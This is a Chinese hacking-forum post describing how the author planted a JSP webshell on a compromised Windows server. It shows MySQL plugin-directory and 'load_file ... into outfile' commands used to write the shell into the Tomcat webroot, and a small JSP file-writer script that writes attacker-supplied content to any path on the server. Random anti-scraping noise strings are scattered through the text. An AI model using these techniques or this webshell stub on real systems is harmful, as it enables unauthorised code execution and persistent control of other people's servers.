找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2377|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
5 N& t. V# q0 f6 a5 Z; K/ Q" N8 ^' J8 N9 M: ^
* ], Z+ ?' L, [* A1 e2 S7 K首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php: N0 U* v4 O8 p, T
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
2 K$ y: @' n) r- l- v( g  u0 V提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了! f3 ]1 l0 t' ]3 p) C6 i: k
1 show variables like '%plugin%';5 J8 Q( C' C  S3 Z
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
  a; {! p$ K7 c7 C- Z' p: u创建自定义函数似乎被拦截,一直失败。
* n! Y5 g' L# c: a/ e后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限- }9 T' c( ]/ d6 @% j
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
5 Z7 L$ @+ n+ R! n  N用mysql执行语句:6 a3 W* G1 [  j
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
* r) x# h$ i  v- }1 r2 复制代码
# Q; [0 @0 z. T- ]7 z' b后成功。
0 K0 A$ ?- x0 Y: }但是访问后得到如下提示:8 K3 O& J* `* I- R! E
​500页面  J8 e9 W. e: e. f

. Q! h& N) F- z/ a
( w+ Q6 j- @, I7 g. D9 t+ h明显是MySQL的Win下版本自动添加转义符\n\r了
$ `! c9 k; H- i这样导致程序运行的悲剧。
6 _* @1 X' F: r+ {" R1 H从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。) f4 z! z; N& C. e) T& F
最后弄了这么个小脚本:
, e# R6 c- P& v, v# H01 <%@ page language="java" pageEncoding="gbk"%>
3 y0 j* U& V4 s" S, r02 <jsp:directive.page import="java.io.File"/>3 u& Q/ ^) G: x1 v4 _+ o
03 <jsp:directive.page import="java.io.OutputStream"/>
0 O+ ^( O/ d% }/ @( K04 <jsp:directive.page import="java.io.FileOutputStream"/>
/ Q4 }6 \! p, a2 t& K05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
+ p/ O4 E& r9 X8 D, d  K/ l06 error www.2cto.com
0 w+ B) j7 X3 z1 n% u07 <%}}if(i==0){%>
- F' f% E2 h! ~( v2 k* ]; d' @08 ok2 z. i% _1 L+ P1 k/ z
09 <%}%>( j& T6 s. D) b
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">1 x" j: H* q: r. p+ |" s) [" ]% f
就可以避免转义符让JSP的马儿运行500错误了。
: M' j  _! l" u6 S* z* \/ f$ q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表